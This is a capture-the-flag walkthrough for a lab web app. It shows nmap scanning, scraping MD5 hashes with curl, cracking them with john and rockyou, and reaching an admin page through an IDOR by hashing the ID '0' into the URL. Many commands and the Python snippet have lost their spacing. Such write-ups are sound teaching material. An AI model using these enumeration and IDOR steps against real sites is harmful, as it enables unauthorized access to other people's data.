Letβs add the target IP to our host file, in /etc/host
I always make the IP as target.local in /etc/host so that I donβt have to type IP address all the time when engaging for example: in /etc/host I have the following
Letβs see if there are any UDP Ports that are available for us
sudonmap-sCSVU-p--Pntarget.local
PORTSTATESERVICEVERSION68/udpopen|filtereddhcpc# It seems that all the ports are filtered and most of it's not required, so let's just focus on one port
PORTSTATESERVICEVERSION80/tcpopenhttpWerkzeughttpd2.0.3 (Python 3.10.2)|_http-title:Corridor# It seems that the service is running a python server, # not much to exploit, it just serves a simple webpage
If we visit target.local it seems that the website only consists of pictures with links, which looks very similar to hashes
A quick one-line bash command will give us the list of all hashes that are available in that particular page
curltarget.local|grep-o'alt="[a-z0-9]\{32\}"'|awk-F'"''{print $2}'# This shall generate the following output<--c4ca4238a0b923820dcc509a6f75849bc81e728d9d4c2f636f067f89cc14862ceccbc87e4b5ce2fe28308fd9f2a7baf3--
johnhash--wordlist=/usr/share/wordlists/rockyou.txt--format=raw-md5# We now have a list of numbers from the hashes<--1679091c5a880faf6fb5e6087eb1b2dc:645c48cce2e2d7fbdea1afc51c7c6ad26:98f14e45fceea167a5a36dedd4bea2543:7--
Letβs find the missing number, we can use a simple python program that will allow us to generate a missing number from here
# Find Missing ElementdeffindMissing(arr,N):# create a list of zeroes temp = [0] * (N+1)for i inrange(0, N): temp[arr[i]-1]=1for i inrange(0, N+1):if(temp[i]==0): ans = i +1print(ans)defMissingNo(arr): n =len(arr) total = (n +1)*(n +2)/2 arr_sum =sum(arr)print(total - arr_sum)# Driver codeif__name__=='__main__': arr = [6,9,7,4,1,2,8,5,3,11,12,13,10] N =len(arr)MissingNo(arr)# Function call#findMissing(arr, N)
We have 14 as an output, let's convert it to an md5 hash :
echo-n"14"|md5sum|awk'{print $1}# the following is the output aab3238922bcc25a6f606eb525ffdc56
To solve this, let's use a hash of number 0 or -1, a common concept within the IDOR Vulnerability realm that the admin account id is mostly 0 or -1 or 1
let's encode 0 as an md5 hash
echo-n0|md5sum|awk'{print $1}# the following output is generatedcfcd208495d565ef66e7_redacted# Let us append that to the URL of our targethttp://target.local/cfcd208495d565_redacted
Exploitation
Now visit the URL you got: http://target.local/cfcd208495d565_redacted
We should now have the flag : REDACTED_FLAG
Thanks for reading, hope you learned something new π